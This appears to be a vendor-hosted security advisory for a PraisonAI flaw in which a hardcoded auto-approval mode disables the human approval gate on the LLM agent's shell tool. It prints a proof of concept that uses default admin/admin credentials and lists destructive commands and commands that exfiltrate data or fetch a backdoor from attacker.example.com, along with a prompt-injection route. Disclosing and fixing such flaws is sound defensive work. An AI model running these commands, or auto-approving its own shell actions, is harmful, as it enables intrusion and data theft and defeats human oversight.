GHSA-qwgj-rrpj-75xm — praisonai
HIGHGHSA-qwgj-rrpj-75xm is a high-severity (CVSS 8.8) CWE-863 vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.
PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-qwgj-rrpj-75xm.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-qwgj-rrpj-75xm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.
Details
The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.
However, both UI modules unconditionally override this after loading:
chat.py:156-159:
config = ToolConfig.from_env() # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto" # hardcoded override, ignoring admin config
code.py:155-158:
config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto" # same hardcoded override
This flows to agent_tools.py:347-348 in the acp_execute_command function:
auto_approve = runtime.config.approval_mode == "auto" # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)
The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:
result = subprocess.run(
step.target,
shell=True, # shell execution
capture_output=True,
text=True,
cwd=str(workspace),
timeout=30
)
Command sanitization is insufficient. Two blocklists exist:
_sanitize_command()atagent_tools.py:60-86blocks:$(,`,&&,||,>>,>,|,;,&,\n,\r_apply_step()ataction_orchestrator.py:449blocks:;,&,|,$,`
Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.
PoC
Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.
# Step 1: Start the Chainlit UI
praisonai ui chat
# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin
# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"
# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat
# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override
Commands that bypass sanitization blocklists:
rm -rf /home/user/documents— no blocked characterschmod 777 /etc/shadow— no blocked characterscurl http://attacker.example.com/exfil— no blocked characterswget http://attacker.example.com/backdoor -O /tmp/backdoor— no blocked characterspython3 -c "__import__('os').unlink('/important/file')"— no blocked characters
Impact
- Arbitrary command execution: An authenticated user (or attacker with default
admin/admincredentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process. - Confidentiality breach: Read arbitrary files accessible to the process (
/etc/passwd, application secrets, environment variables containing API keys). - Integrity compromise: Modify or delete files, install backdoors, tamper with application code.
- Availability impact: Kill processes, consume disk/memory, delete critical data.
- Administrator control undermined: Even administrators who explicitly set
PRAISON_APPROVAL_MODE=manualto require human approval have their configuration silently overridden, creating a false sense of security. - Prompt injection vector: Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.
Recommended Fix
Remove the hardcoded override and respect the administrator's configured approval mode. In both chat.py and code.py:
# Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto" # Trust mode - auto-approve all tool executions
# After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
# Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval
Additionally, strengthen _sanitize_command() to use an allowlist approach rather than a blocklist:
import shlex
ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}
def _sanitize_command(command: str) -> str:
# Existing blocklist checks...
# Additionally, check the base command against allowlist
try:
parts = shlex.split(command)
except ValueError:
raise ValueError(f"Could not parse command: {command!r}")
base_cmd = os.path.basename(parts[0]) if parts else ""
if base_cmd not in ALLOWED_COMMANDS:
raise ValueError(
f"Command {base_cmd!r} is not in the allowed command list. "
f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
)
return command
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.5.128pip install --upgrade 'praisonai==4.5.128' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonai to 4.5.128 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qwgj-rrpj-75xm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-qwgj-rrpj-75xm can be triaged on real exposure rather than presence alone.
Tailored to GHSA-qwgj-rrpj-75xm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qwgj-rrpj-75xm in your dependencies?
O3 Security finds GHSA-qwgj-rrpj-75xm across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.